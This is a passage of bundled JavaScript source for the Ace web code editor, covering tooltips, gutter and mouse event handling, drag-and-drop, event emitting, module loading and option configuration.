return Math.sqrt(Math.pow(bx - ax, 2) + Math.pow(by - ay, 2));
}
function calcRangeOrientation(range, cursor) {
if (range.start.row == range.end.row)
var cmp = 2 * cursor.column - range.start.column - range.end.column;
else if (range.start.row == range.end.row - 1 && !range.start.column && !range.end.column)
var cmp = cursor.column - 4;
else
var cmp = 2 * cursor.row - range.start.row - range.end.row;
if (cmp < 0)
return {cursor: range.start, anchor: range.end};
else
return {cursor: range.end, anchor: range.start};
}
});
ace.define("ace/tooltip",["require","exports","module","ace/lib/oop","ace/lib/dom"], function(require, exports, module) {
"use strict";
var oop = require("./lib/oop");
var dom = require("./lib/dom");
function Tooltip (parentNode) {
this.isOpen = false;
this.$element = null;
this.$parentNode = parentNode;
}
(function() {
this.$init = function() {
this.$element = dom.createElement("div");
this.$element.className = "ace_tooltip";
this.$element.style.display = "none";
this.$parentNode.appendChild(this.$element);
return this.$element;
};
this.getElement = function() {
return this.$element || this.$init();
};
this.setText = function(text) {
dom.setInnerText(this.getElement(), text);
};
this.setHtml = function(html) {
this.getElement().innerHTML = html;
};
this.setPosition = function(x, y) {
this.getElement().style.left = x + "px";
this.getElement().style.top = y + "px";
};
this.setClassName = function(className) {
dom.addCssClass(this.getElement(), className);
};
this.show = function(text, x, y) {
if (text != null)
this.setText(text);
if (x != null && y != null)
this.setPosition(x, y);
if (!this.isOpen) {
this.getElement().style.display = "block";
this.isOpen = true;
}
};
this.hide = function() {
if (this.isOpen) {
this.getElement().style.display = "none";
this.isOpen = false;
}
};
this.getHeight = function() {
return this.getElement().offsetHeight;
};
this.getWidth = function() {
return this.getElement().offsetWidth;
};
this.destroy = function() {
this.isOpen = false;
if (this.$element && this.$element.parentNode) {
this.$element.parentNode.removeChild(this.$element);
}
};
}).call(Tooltip.prototype);
exports.Tooltip = Tooltip;
});
ace.define("ace/mouse/default_gutter_handler",["require","exports","module","ace/lib/dom","ace/lib/oop","ace/lib/event","ace/tooltip"], function(require, exports, module) {
"use strict";
var dom = require("../lib/dom");
var oop = require("../lib/oop");
var event = require("../lib/event");
var Tooltip = require("../tooltip").Tooltip;
function GutterHandler(mouseHandler) {
var editor = mouseHandler.editor;
var gutter = editor.renderer.$gutterLayer;
var tooltip = new GutterTooltip(editor.container);
mouseHandler.editor.setDefaultHandler("guttermousedown", function(e) {
if (!editor.isFocused() || e.getButton() != 0)
return;
var gutterRegion = gutter.getRegion(e);
if (gutterRegion == "foldWidgets")
return;
var row = e.getDocumentPosition().row;
var selection = editor.session.selection;
if (e.getShiftKey())
selection.selectTo(row, 0);
else {
if (e.domEvent.detail == 2) {
editor.selectAll();
return e.preventDefault();
}
mouseHandler.$clickSelection = editor.selection.getLineRange(row);
}
mouseHandler.setState("selectByLines");
mouseHandler.captureMouse(e);
return e.preventDefault();
});
var tooltipTimeout, mouseEvent, tooltipAnnotation;
function showTooltip() {
var row = mouseEvent.getDocumentPosition().row;
var annotation = gutter.$annotations[row];
if (!annotation)
return hideTooltip();
var maxRow = editor.session.getLength();
if (row == maxRow) {
var screenRow = editor.renderer.pixelToScreenCoordinates(0, mouseEvent.y).row;
var pos = mouseEvent.$pos;
if (screenRow > editor.session.documentToScreenRow(pos.row, pos.column))
return hideTooltip();
}
if (tooltipAnnotation == annotation)
return;
tooltipAnnotation = annotation.text.join("<br/>");
tooltip.setHtml(tooltipAnnotation);
tooltip.show();
editor._signal("showGutterTooltip", tooltip);
editor.on("mousewheel", hideTooltip);
if (mouseHandler.$tooltipFollowsMouse) {
moveTooltip(mouseEvent);
} else {
var gutterElement = mouseEvent.domEvent.target;
var rect = gutterElement.getBoundingClientRect();
var style = tooltip.getElement().style;
style.left = rect.right + "px";
style.top = rect.bottom + "px";
}
}
function hideTooltip() {
if (tooltipTimeout)
tooltipTimeout = clearTimeout(tooltipTimeout);
if (tooltipAnnotation) {
tooltip.hide();
tooltipAnnotation = null;
editor._signal("hideGutterTooltip", tooltip);
editor.removeEventListener("mousewheel", hideTooltip);
}
}
function moveTooltip(e) {
tooltip.setPosition(e.x, e.y);
}
mouseHandler.editor.setDefaultHandler("guttermousemove", function(e) {
var target = e.domEvent.target || e.domEvent.srcElement;
if (dom.hasCssClass(target, "ace_fold-widget"))
return hideTooltip();
if (tooltipAnnotation && mouseHandler.$tooltipFollowsMouse)
moveTooltip(e);
mouseEvent = e;
if (tooltipTimeout)
return;
tooltipTimeout = setTimeout(function() {
tooltipTimeout = null;
if (mouseEvent && !mouseHandler.isMousePressed)
showTooltip();
else
hideTooltip();
}, 50);
});
event.addListener(editor.renderer.$gutter, "mouseout", function(e) {
mouseEvent = null;
if (!tooltipAnnotation || tooltipTimeout)
return;
tooltipTimeout = setTimeout(function() {
tooltipTimeout = null;
hideTooltip();
}, 50);
});
editor.on("changeSession", hideTooltip);
}
function GutterTooltip(parentNode) {
Tooltip.call(this, parentNode);
}
oop.inherits(GutterTooltip, Tooltip);
(function(){
this.setPosition = function(x, y) {
var windowWidth = window.innerWidth || document.documentElement.clientWidth;
var windowHeight = window.innerHeight || document.documentElement.clientHeight;
var width = this.getWidth();
var height = this.getHeight();
x += 15;
y += 15;
if (x + width > windowWidth) {
x -= (x + width) - windowWidth;
}
if (y + height > windowHeight) {
y -= 20 + height;
}
Tooltip.prototype.setPosition.call(this, x, y);
};
}).call(GutterTooltip.prototype);
exports.GutterHandler = GutterHandler;
});
ace.define("ace/mouse/mouse_event",["require","exports","module","ace/lib/event","ace/lib/useragent"], function(require, exports, module) {
"use strict";
var event = require("../lib/event");
var useragent = require("../lib/useragent");
var MouseEvent = exports.MouseEvent = function(domEvent, editor) {
this.domEvent = domEvent;
this.editor = editor;
this.x = this.clientX = domEvent.clientX;
this.y = this.clientY = domEvent.clientY;
this.$pos = null;
this.$inSelection = null;
this.propagationStopped = false;
this.defaultPrevented = false;
};
(function() {
this.stopPropagation = function() {
event.stopPropagation(this.domEvent);
this.propagationStopped = true;
};
this.preventDefault = function() {
event.preventDefault(this.domEvent);
this.defaultPrevented = true;
};
this.stop = function() {
this.stopPropagation();
this.preventDefault();
};
this.getDocumentPosition = function() {
if (this.$pos)
return this.$pos;
this.$pos = this.editor.renderer.screenToTextCoordinates(this.clientX, this.clientY);
return this.$pos;
};
this.inSelection = function() {
if (this.$inSelection !== null)
return this.$inSelection;
var editor = this.editor;
var selectionRange = editor.getSelectionRange();
if (selectionRange.isEmpty())
this.$inSelection = false;
else {
var pos = this.getDocumentPosition();
this.$inSelection = selectionRange.contains(pos.row, pos.column);
}
return this.$inSelection;
};
this.getButton = function() {
return event.getButton(this.domEvent);
};
this.getShiftKey = function() {
return this.domEvent.shiftKey;
};
this.getAccelKey = useragent.isMac
? function() { return this.domEvent.metaKey; }
: function() { return this.domEvent.ctrlKey; };
}).call(MouseEvent.prototype);
});
ace.define("ace/mouse/dragdrop_handler",["require","exports","module","ace/lib/dom","ace/lib/event","ace/lib/useragent"], function(require, exports, module) {
"use strict";
var dom = require("../lib/dom");
var event = require("../lib/event");
var useragent = require("../lib/useragent");
var AUTOSCROLL_DELAY = 200;
var SCROLL_CURSOR_DELAY = 200;
var SCROLL_CURSOR_HYSTERESIS = 5;
function DragdropHandler(mouseHandler) {
var editor = mouseHandler.editor;
var blankImage = dom.createElement("img");
blankImage.src = "data:image/gif;base64,R0lGODlhAQABAAAAACH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==";
if (useragent.isOpera)
blankImage.style.cssText = "width:1px;height:1px;position:fixed;top:0;left:0;z-index:2147483647;opacity:0;";
var exports = ["dragWait", "dragWaitEnd", "startDrag", "dragReadyEnd", "onMouseDrag"];
exports.forEach(function(x) {
mouseHandler[x] = this[x];
}, this);
editor.addEventListener("mousedown", this.onMouseDown.bind(mouseHandler));
var mouseTarget = editor.container;
var dragSelectionMarker, x, y;
var timerId, range;
var dragCursor, counter = 0;
var dragOperation;
var isInternal;
var autoScrollStartTime;
var cursorMovedTime;
var cursorPointOnCaretMoved;
this.onDragStart = function(e) {
if (this.cancelDrag || !mouseTarget.draggable) {
var self = this;
setTimeout(function(){
self.startSelect();
self.captureMouse(e);
}, 0);
return e.preventDefault();
}
range = editor.getSelectionRange();
var dataTransfer = e.dataTransfer;
dataTransfer.effectAllowed = editor.getReadOnly() ? "copy" : "copyMove";
if (useragent.isOpera) {
editor.container.appendChild(blankImage);
blankImage.scrollTop = 0;
}
dataTransfer.setDragImage && dataTransfer.setDragImage(blankImage, 0, 0);
if (useragent.isOpera) {
editor.container.removeChild(blankImage);
}
dataTransfer.clearData();
dataTransfer.setData("Text", editor.session.getTextRange());
isInternal = true;
this.setState("drag");
};
this.onDragEnd = function(e) {
mouseTarget.draggable = false;
isInternal = false;
this.setState(null);
if (!editor.getReadOnly()) {
var dropEffect = e.dataTransfer.dropEffect;
if (!dragOperation && dropEffect == "move")
editor.session.remove(editor.getSelectionRange());
editor.renderer.$cursorLayer.setBlinking(true);
}
this.editor.unsetStyle("ace_dragging");
this.editor.renderer.setCursorStyle("");
};
this.onDragEnter = function(e) {
if (editor.getReadOnly() || !canAccept(e.dataTransfer))
return;
x = e.clientX;
y = e.clientY;
if (!dragSelectionMarker)
addDragMarker();
counter++;
e.dataTransfer.dropEffect = dragOperation = getDropEffect(e);
return event.preventDefault(e);
};
this.onDragOver = function(e) {
if (editor.getReadOnly() || !canAccept(e.dataTransfer))
return;
x = e.clientX;
y = e.clientY;
if (!dragSelectionMarker) {
addDragMarker();
counter++;
}
if (onMouseMoveTimer !== null)
onMouseMoveTimer = null;
e.dataTransfer.dropEffect = dragOperation = getDropEffect(e);
return event.preventDefault(e);
};
this.onDragLeave = function(e) {
counter--;
if (counter <= 0 && dragSelectionMarker) {
clearDragMarker();
dragOperation = null;
return event.preventDefault(e);
}
};
this.onDrop = function(e) {
if (!dragCursor)
return;
var dataTransfer = e.dataTransfer;
if (isInternal) {
switch (dragOperation) {
case "move":
if (range.contains(dragCursor.row, dragCursor.column)) {
range = {
start: dragCursor,
end: dragCursor
};
} else {
range = editor.moveText(range, dragCursor);
}
break;
case "copy":
range = editor.moveText(range, dragCursor, true);
break;
}
} else {
var dropData = dataTransfer.getData('Text');
range = {
start: dragCursor,
end: editor.session.insert(dragCursor, dropData)
};
editor.focus();
dragOperation = null;
}
clearDragMarker();
return event.preventDefault(e);
};
event.addListener(mouseTarget, "dragstart", this.onDragStart.bind(mouseHandler));
event.addListener(mouseTarget, "dragend", this.onDragEnd.bind(mouseHandler));
event.addListener(mouseTarget, "dragenter", this.onDragEnter.bind(mouseHandler));
event.addListener(mouseTarget, "dragover", this.onDragOver.bind(mouseHandler));
event.addListener(mouseTarget, "dragleave", this.onDragLeave.bind(mouseHandler));
event.addListener(mouseTarget, "drop", this.onDrop.bind(mouseHandler));
function scrollCursorIntoView(cursor, prevCursor) {
var now = Date.now();
var vMovement = !prevCursor || cursor.row != prevCursor.row;
var hMovement = !prevCursor || cursor.column != prevCursor.column;
if (!cursorMovedTime || vMovement || hMovement) {
editor.$blockScrolling += 1;
editor.moveCursorToPosition(cursor);
editor.$blockScrolling -= 1;
cursorMovedTime = now;
cursorPointOnCaretMoved = {x: x, y: y};
} else {
var distance = calcDistance(cursorPointOnCaretMoved.x, cursorPointOnCaretMoved.y, x, y);
if (distance > SCROLL_CURSOR_HYSTERESIS) {
cursorMovedTime = null;
} else if (now - cursorMovedTime >= SCROLL_CURSOR_DELAY) {
editor.renderer.scrollCursorIntoView();
cursorMovedTime = null;
}
}
}
function autoScroll(cursor, prevCursor) {
var now = Date.now();
var lineHeight = editor.renderer.layerConfig.lineHeight;
var characterWidth = editor.renderer.layerConfig.characterWidth;
var editorRect = editor.renderer.scroller.getBoundingClientRect();
var offsets = {
x: {
left: x - editorRect.left,
right: editorRect.right - x
},
y: {
top: y - editorRect.top,
bottom: editorRect.bottom - y
}
};
var nearestXOffset = Math.min(offsets.x.left, offsets.x.right);
var nearestYOffset = Math.min(offsets.y.top, offsets.y.bottom);
var scrollCursor = {row: cursor.row, column: cursor.column};
if (nearestXOffset / characterWidth <= 2) {
scrollCursor.column += (offsets.x.left < offsets.x.right ? -3 : +2);
}
if (nearestYOffset / lineHeight <= 1) {
scrollCursor.row += (offsets.y.top < offsets.y.bottom ? -1 : +1);
}
var vScroll = cursor.row != scrollCursor.row;
var hScroll = cursor.column != scrollCursor.column;
var vMovement = !prevCursor || cursor.row != prevCursor.row;
if (vScroll || (hScroll && !vMovement)) {
if (!autoScrollStartTime)
autoScrollStartTime = now;
else if (now - autoScrollStartTime >= AUTOSCROLL_DELAY)
editor.renderer.scrollCursorIntoView(scrollCursor);
} else {
autoScrollStartTime = null;
}
}
function onDragInterval() {
var prevCursor = dragCursor;
dragCursor = editor.renderer.screenToTextCoordinates(x, y);
scrollCursorIntoView(dragCursor, prevCursor);
autoScroll(dragCursor, prevCursor);
}
function addDragMarker() {
range = editor.selection.toOrientedRange();
dragSelectionMarker = editor.session.addMarker(range, "ace_selection", editor.getSelectionStyle());
editor.clearSelection();
if (editor.isFocused())
editor.renderer.$cursorLayer.setBlinking(false);
clearInterval(timerId);
onDragInterval();
timerId = setInterval(onDragInterval, 20);
counter = 0;
event.addListener(document, "mousemove", onMouseMove);
}
function clearDragMarker() {
clearInterval(timerId);
editor.session.removeMarker(dragSelectionMarker);
dragSelectionMarker = null;
editor.$blockScrolling += 1;
editor.selection.fromOrientedRange(range);
editor.$blockScrolling -= 1;
if (editor.isFocused() && !isInternal)
editor.renderer.$cursorLayer.setBlinking(!editor.getReadOnly());
range = null;
dragCursor = null;
counter = 0;
autoScrollStartTime = null;
cursorMovedTime = null;
event.removeListener(document, "mousemove", onMouseMove);
}
var onMouseMoveTimer = null;
function onMouseMove() {
if (onMouseMoveTimer == null) {
onMouseMoveTimer = setTimeout(function() {
if (onMouseMoveTimer != null && dragSelectionMarker)
clearDragMarker();
}, 20);
}
}
function canAccept(dataTransfer) {
var types = dataTransfer.types;
return !types || Array.prototype.some.call(types, function(type) {
return type == 'text/plain' || type == 'Text';
});
}
function getDropEffect(e) {
var copyAllowed = ['copy', 'copymove', 'all', 'uninitialized'];
var moveAllowed = ['move', 'copymove', 'linkmove', 'all', 'uninitialized'];
var copyModifierState = useragent.isMac ? e.altKey : e.ctrlKey;
var effectAllowed = "uninitialized";
try {
effectAllowed = e.dataTransfer.effectAllowed.toLowerCase();
} catch (e) {}
var dropEffect = "none";
if (copyModifierState && copyAllowed.indexOf(effectAllowed) >= 0)
dropEffect = "copy";
else if (moveAllowed.indexOf(effectAllowed) >= 0)
dropEffect = "move";
else if (copyAllowed.indexOf(effectAllowed) >= 0)
dropEffect = "copy";
return dropEffect;
}
}
(function() {
this.dragWait = function() {
var interval = Date.now() - this.mousedownEvent.time;
if (interval > this.editor.getDragDelay())
this.startDrag();
};
this.dragWaitEnd = function() {
var target = this.editor.container;
target.draggable = false;
this.startSelect(this.mousedownEvent.getDocumentPosition());
this.selectEnd();
};
this.dragReadyEnd = function(e) {
this.editor.renderer.$cursorLayer.setBlinking(!this.editor.getReadOnly());
this.editor.unsetStyle("ace_dragging");
this.editor.renderer.setCursorStyle("");
this.dragWaitEnd();
};
this.startDrag = function(){
this.cancelDrag = false;
var editor = this.editor;
var target = editor.container;
target.draggable = true;
editor.renderer.$cursorLayer.setBlinking(false);
editor.setStyle("ace_dragging");
var cursorStyle = useragent.isWin ? "default" : "move";
editor.renderer.setCursorStyle(cursorStyle);
this.setState("dragReady");
};
this.onMouseDrag = function(e) {
var target = this.editor.container;
if (useragent.isIE && this.state == "dragReady") {
var distance = calcDistance(this.mousedownEvent.x, this.mousedownEvent.y, this.x, this.y);
if (distance > 3)
target.dragDrop();
}
if (this.state === "dragWait") {
var distance = calcDistance(this.mousedownEvent.x, this.mousedownEvent.y, this.x, this.y);
if (distance > 0) {
target.draggable = false;
this.startSelect(this.mousedownEvent.getDocumentPosition());
}
}
};
this.onMouseDown = function(e) {
if (!this.$dragEnabled)
return;
this.mousedownEvent = e;
var editor = this.editor;
var inSelection = e.inSelection();
var button = e.getButton();
var clickCount = e.domEvent.detail || 1;
if (clickCount === 1 && button === 0 && inSelection) {
if (e.editor.inMultiSelectMode && (e.getAccelKey() || e.getShiftKey()))
return;
this.mousedownEvent.time = Date.now();
var eventTarget = e.domEvent.target || e.domEvent.srcElement;
if ("unselectable" in eventTarget)
eventTarget.unselectable = "on";
if (editor.getDragDelay()) {
if (useragent.isWebKit) {
this.cancelDrag = true;
var mouseTarget = editor.container;
mouseTarget.draggable = true;
}
this.setState("dragWait");
} else {
this.startDrag();
}
this.captureMouse(e, this.onMouseDrag.bind(this));
e.defaultPrevented = true;
}
};
}).call(DragdropHandler.prototype);
function calcDistance(ax, ay, bx, by) {
return Math.sqrt(Math.pow(bx - ax, 2) + Math.pow(by - ay, 2));
}
exports.DragdropHandler = DragdropHandler;
});
ace.define("ace/lib/net",["require","exports","module","ace/lib/dom"], function(require, exports, module) {
"use strict";
var dom = require("./dom");
exports.get = function (url, callback) {
var xhr = new XMLHttpRequest();
xhr.open('GET', url, true);
xhr.onreadystatechange = function () {
if (xhr.readyState === 4) {
callback(xhr.responseText);
}
};
xhr.send(null);
};
exports.loadScript = function(path, callback) {
var head = dom.getDocumentHead();
var s = document.createElement('script');
s.src = path;
head.appendChild(s);
s.onload = s.onreadystatechange = function(_, isAbort) {
if (isAbort || !s.readyState || s.readyState == "loaded" || s.readyState == "complete") {
s = s.onload = s.onreadystatechange = null;
if (!isAbort)
callback();
}
};
};
exports.qualifyURL = function(url) {
var a = document.createElement('a');
a.href = url;
return a.href;
};
});
ace.define("ace/lib/event_emitter",["require","exports","module"], function(require, exports, module) {
"use strict";
var EventEmitter = {};
var stopPropagation = function() { this.propagationStopped = true; };
var preventDefault = function() { this.defaultPrevented = true; };
EventEmitter._emit =
EventEmitter._dispatchEvent = function(eventName, e) {
this._eventRegistry || (this._eventRegistry = {});
this._defaultHandlers || (this._defaultHandlers = {});
var listeners = this._eventRegistry[eventName] || [];
var defaultHandler = this._defaultHandlers[eventName];
if (!listeners.length && !defaultHandler)
return;
if (typeof e != "object" || !e)
e = {};
if (!e.type)
e.type = eventName;
if (!e.stopPropagation)
e.stopPropagation = stopPropagation;
if (!e.preventDefault)
e.preventDefault = preventDefault;
listeners = listeners.slice();
for (var i=0; i<listeners.length; i++) {
listeners[i](e, this);
if (e.propagationStopped)
break;
}
if (defaultHandler && !e.defaultPrevented)
return defaultHandler(e, this);
};
EventEmitter._signal = function(eventName, e) {
var listeners = (this._eventRegistry || {})[eventName];
if (!listeners)
return;
listeners = listeners.slice();
for (var i=0; i<listeners.length; i++)
listeners[i](e, this);
};
EventEmitter.once = function(eventName, callback) {
var _self = this;
callback && this.addEventListener(eventName, function newCallback() {
_self.removeEventListener(eventName, newCallback);
callback.apply(null, arguments);
});
};
EventEmitter.setDefaultHandler = function(eventName, callback) {
var handlers = this._defaultHandlers;
if (!handlers)
handlers = this._defaultHandlers = {_disabled_: {}};
if (handlers[eventName]) {
var old = handlers[eventName];
var disabled = handlers._disabled_[eventName];
if (!disabled)
handlers._disabled_[eventName] = disabled = [];
disabled.push(old);
var i = disabled.indexOf(callback);
if (i != -1)
disabled.splice(i, 1);
}
handlers[eventName] = callback;
};
EventEmitter.removeDefaultHandler = function(eventName, callback) {
var handlers = this._defaultHandlers;
if (!handlers)
return;
var disabled = handlers._disabled_[eventName];
if (handlers[eventName] == callback) {
var old = handlers[eventName];
if (disabled)
this.setDefaultHandler(eventName, disabled.pop());
} else if (disabled) {
var i = disabled.indexOf(callback);
if (i != -1)
disabled.splice(i, 1);
}
};
EventEmitter.on =
EventEmitter.addEventListener = function(eventName, callback, capturing) {
this._eventRegistry = this._eventRegistry || {};
var listeners = this._eventRegistry[eventName];
if (!listeners)
listeners = this._eventRegistry[eventName] = [];
if (listeners.indexOf(callback) == -1)
listeners[capturing ? "unshift" : "push"](callback);
return callback;
};
EventEmitter.off =
EventEmitter.removeListener =
EventEmitter.removeEventListener = function(eventName, callback) {
this._eventRegistry = this._eventRegistry || {};
var listeners = this._eventRegistry[eventName];
if (!listeners)
return;
var index = listeners.indexOf(callback);
if (index !== -1)
listeners.splice(index, 1);
};
EventEmitter.removeAllListeners = function(eventName) {
if (this._eventRegistry) this._eventRegistry[eventName] = [];
};
exports.EventEmitter = EventEmitter;
});
ace.define("ace/lib/app_config",["require","exports","module","ace/lib/oop","ace/lib/event_emitter"], function(require, exports, module) {
"no use strict";
var oop = require("./oop");
var EventEmitter = require("./event_emitter").EventEmitter;
var optionsProvider = {
setOptions: function(optList) {
Object.keys(optList).forEach(function(key) {
this.setOption(key, optList[key]);
}, this);
},
getOptions: function(optionNames) {
var result = {};
if (!optionNames) {
optionNames = Object.keys(this.$options);
} else if (!Array.isArray(optionNames)) {
result = optionNames;
optionNames = Object.keys(result);
}
optionNames.forEach(function(key) {
result[key] = this.getOption(key);
}, this);
return result;
},
setOption: function(name, value) {
if (this["$" + name] === value)
return;
var opt = this.$options[name];
if (!opt) {
return warn('misspelled option "' + name + '"');
}
if (opt.forwardTo)
return this[opt.forwardTo] && this[opt.forwardTo].setOption(name, value);
if (!opt.handlesSet)
this["$" + name] = value;
if (opt && opt.set)
opt.set.call(this, value);
},
getOption: function(name) {
var opt = this.$options[name];
if (!opt) {
return warn('misspelled option "' + name + '"');
}
if (opt.forwardTo)
return this[opt.forwardTo] && this[opt.forwardTo].getOption(name);
return opt && opt.get ? opt.get.call(this) : this["$" + name];
}
};
function warn(message) {
if (typeof console != "undefined" && console.warn)
console.warn.apply(console, arguments);
}
function reportError(msg, data) {
var e = new Error(msg);
e.data = data;
if (typeof console == "object" && console.error)
console.error(e);
setTimeout(function() { throw e; });
}
var AppConfig = function() {
this.$defaultOptions = {};
};
(function() {
oop.implement(this, EventEmitter);
this.defineOptions = function(obj, path, options) {
if (!obj.$options)
this.$defaultOptions[path] = obj.$options = {};
Object.keys(options).forEach(function(key) {
var opt = options[key];
if (typeof opt == "string")
opt = {forwardTo: opt};
opt.name || (opt.name = key);
obj.$options[opt.name] = opt;
if ("initialValue" in opt)
obj["$" + opt.name] = opt.initialValue;
});
oop.implement(obj, optionsProvider);
return this;
};
this.resetOptions = function(obj) {
Object.keys(obj.$options).forEach(function(key) {
var opt = obj.$options[key];
if ("value" in opt)
obj.setOption(key, opt.value);
});
};
this.setDefaultValue = function(path, name, value) {
var opts = this.$defaultOptions[path] || (this.$defaultOptions[path] = {});
if (opts[name]) {
if (opts.forwardTo)
this.setDefaultValue(opts.forwardTo, name, value);
else
opts[name].value = value;
}
};
this.setDefaultValues = function(path, optionHash) {
Object.keys(optionHash).forEach(function(key) {
this.setDefaultValue(path, key, optionHash[key]);
}, this);
};
this.warn = warn;
this.reportError = reportError;
}).call(AppConfig.prototype);
exports.AppConfig = AppConfig;
});
ace.define("ace/config",["require","exports","module","ace/lib/lang","ace/lib/oop","ace/lib/net","ace/lib/app_config"], function(require, exports, module) {
"no use strict";
var lang = require("./lib/lang");
var oop = require("./lib/oop");
var net = require("./lib/net");
var AppConfig = require("./lib/app_config").AppConfig;
module.exports = exports = new AppConfig();
var global = (function() {
return this || typeof window != "undefined" && window;
})();
var options = {
packaged: false,
workerPath: null,
modePath: null,
themePath: null,
basePath: "",
suffix: ".js",
$moduleUrls: {}
};
exports.get = function(key) {
if (!options.hasOwnProperty(key))
throw new Error("Unknown config key: " + key);
return options[key];
};
exports.set = function(key, value) {
if (!options.hasOwnProperty(key))
throw new Error("Unknown config key: " + key);
options[key] = value;
};
exports.all = function() {
return lang.copyObject(options);
};
exports.moduleUrl = function(name, component) {
if (options.$moduleUrls[name])
return options.$moduleUrls[name];
var parts = name.split("/");
component = component || parts[parts.length - 2] || "";
var sep = component == "snippets" ? "/" : "-";
var base = parts[parts.length - 1];
if (component == "worker" && sep == "-") {
var re = new RegExp("^" + component + "[\\-_]|[\\-_]" + component + "$", "g");
base = base.replace(re, "");
}
if ((!base || base == component) && parts.length > 1)
base = parts[parts.length - 2];
var path = options[component + "Path"];
if (path == null) {
path = options.basePath;
} else if (sep == "/") {
component = sep = "";
}
if (path && path.slice(-1) != "/")
path += "/";
return path + component + sep + base + this.get("suffix");
};
exports.setModuleUrl = function(name, subst) {
return options.$moduleUrls[name] = subst;
};
exports.$loading = {};
exports.loadModule = function(moduleName, onLoad) {
var module, moduleType;
if (Array.isArray(moduleName)) {
moduleType = moduleName[0];
moduleName = moduleName[1];
}
try {
module = require(moduleName);
} catch (e) {}
if (module && !exports.$loading[moduleName])
return onLoad && onLoad(module);
if (!exports.$loading[moduleName])
exports.$loading[moduleName] = [];
exports.$loading[moduleName].push(onLoad);
if (exports.$loading[moduleName].length > 1)
return;
var afterLoad = function() {
require([moduleName], function(module) {
exports._emit("load.module", {name: moduleName, module: module});
var listeners = exports.$loading[moduleName];
exports.$loading[moduleName] = null;
listeners.forEach(function(onLoad) {
onLoad && onLoad(module);
});
});
};
if (!exports.get("packaged"))
return afterLoad();
net.loadScript(exports.moduleUrl(moduleName, moduleType), afterLoad);
};
init(true);function init(packaged) {
if (!global || !global.document)
return;
options.packaged = packaged || require.packaged || module.packaged || (global.define && define.packaged);
var scriptOptions = {};
var scriptUrl = "";
var currentScript = (document.currentScript || document._currentScript ); // native or polyfill
var currentDocument = currentScript && currentScript.ownerDocument || document;
var scripts = currentDocument.getElementsByTagName("script");
for (var i=0; i<scripts.length; i++) {
var script = scripts[i];
var src = script.src || script.getAttribute("src");
if (!src)
continue;
var attributes = script.attributes;
for (var j=0, l=attributes.length; j < l; j++) {
var attr = attributes[j];
if (attr.name.indexOf("data-ace-") === 0) {
scriptOptions[deHyphenate(attr.name.replace(/^data-ace-/, ""))] = attr.value;
}
}
var m = src.match(/^(.*)\/ace(\-\w+)?\.js(\?|$)/);
if (m)
scriptUrl = m[1];
}
if (scriptUrl) {
scriptOptions.base = scriptOptions.base || scriptUrl;
scriptOptions.packaged = true;
}
scriptOptions.basePath = scriptOptions.base;
scriptOptions.workerPath = scriptOptions.workerPath || scriptOptions.base;
scriptOptions.modePath = scriptOptions.modePath || scriptOptions.base;
scriptOptions.themePath = scriptOptions.themePath || scriptOptions.base;
delete scriptOptions.base;
for (var key in scriptOptions)
if (typeof scriptOptions[key] !== "undefined")
exports.set(key, scriptOptions[key]);
}
exports.init = init;
function deHyphenate(str) {
return str.replace(/-(.)/g, function(m, m1) { return m1.toUpperCase(); });
}
});
ace.define("ace/mouse/mouse_handler",["require","exports","module","ace/lib/event","ace/lib/useragent","ace/mouse/default_handlers","ace/mouse/default_gutter_handler","ace/mouse/mouse_event","ace/mouse/dragdrop_handler","ace/config"], function(require, exports, module) {
"use strict";
var event = require("../lib/event");
var useragent = require("../lib/useragent");
var DefaultHandlers = require("./default_handlers").DefaultHandlers;
var DefaultGutterHandler = require("./default_gutter_handler").GutterHandler;
var MouseEvent = require("./mouse_event").MouseEvent;
var DragdropHandler = require("./dragdrop_handler").DragdropHandler;
var config = require("../config");
var MouseHandler = function(editor) {
var _self = this;
this.editor = editor;
new DefaultHandlers(this);
new DefaultGutterHandler(this);
new DragdropHandler(this);
var focusEditor = function(e) {
var windowBlurred = !document.hasFocus || !document.hasFocus()
|| !editor.isFocused() && document.activeElement == (editor.textInput && editor.textInput.getElement());
if (windowBlurred)
window.focus();
editor.focus();
};
var mouseTarget = editor.renderer.getMouseEventTarget();
event.addListener(mouseTarget, "click", this.onMouseEvent.bind(this, "click"));
event.addListener(mouseTarget, "mousemove", this.onMouseMove.bind(this, "mousemove"));
event.addMultiMouseDownListener([
mouseTarget,
editor.renderer.scrollBarV && editor.renderer.scrollBarV.inner,
editor.renderer.scrollBarH && editor.renderer.scrollBarH.inner,
editor.textInput && editor.textInput.getElement()
].filter(Boolean), [400, 300, 250], this, "onMouseEvent");
event.addMouseWheelListener(editor.container, this.onMouseWheel.bind(this, "mousewheel"));
event.addTouchMoveListener(editor.container, this.onTouchMove.bind(this, "touchmove"));
var gutterEl = editor.renderer.$gutter;
event.addListener(gutterEl, "mousedown", this.onMouseEvent.bind(this, "guttermousedown"));
event.addListener(gutterEl, "click", this.onMouseEvent.bind(this, "gutterclick"));
event.addListener(gutterEl, "dblclick", this.onMouseEvent.bind(this, "gutterdblclick"));
event.addListener(gutterEl, "mousemove", this.onMouseEvent.bind(this, "guttermousemove"));
event.addListener(mouseTarget, "mousedown", focusEditor);
event.addListener(gutterEl, "mousedown", focusEditor);
if (useragent.isIE && editor.renderer.scrollBarV) {
event.addListener(editor.renderer.scrollBarV.element, "mousedown", focusEditor);
event.addListener(editor.renderer.scrollBarH.element, "mousedown", focusEditor);
}
editor.on("mousemove", function(e){
if (_self.state || _self.$dragDelay || !_self.$dragEnabled)
return;
var character = editor.renderer.screenToTextCoordinates(e.x, e.y);
var range = editor.session.selection.getRange();
var renderer = editor.renderer;
if (!range.isEmpty() && range.insideStart(character.row, character.column)) {
renderer.setCursorStyle("default");
} else {
renderer.setCursorStyle("");
}
});
};
(function() {
this.onMouseEvent = function(name, e) {
this.editor._emit(name, new MouseEvent(e, this.editor));
};
this.onMouseMove = function(name, e) {
var listeners = this.editor._eventRegistry && this.editor._eventRegistry.mousemove;
if (!listeners || !listeners.length)
return;
this.editor._emit(name, new MouseEvent(e, this.editor));
};
this.onMouseWheel = function(name, e) {
var mouseEvent = new MouseEvent(e, this.editor);
mouseEvent.speed = this.$scrollSpeed * 2;
mouseEvent.wheelX = e.wheelX;
mouseEvent.wheelY = e.wheelY;
this.editor._emit(name, mouseEvent);
};
this.onTouchMove = function (name, e) {
var mouseEvent = new MouseEvent(e, this.editor);
mouseEvent.speed = 1;//this.$scrollSpeed * 2;
mouseEvent.wheelX = e.wheelX;
mouseEvent.wheelY = e.wheelY;
this.editor._emit(name, mouseEvent);
};
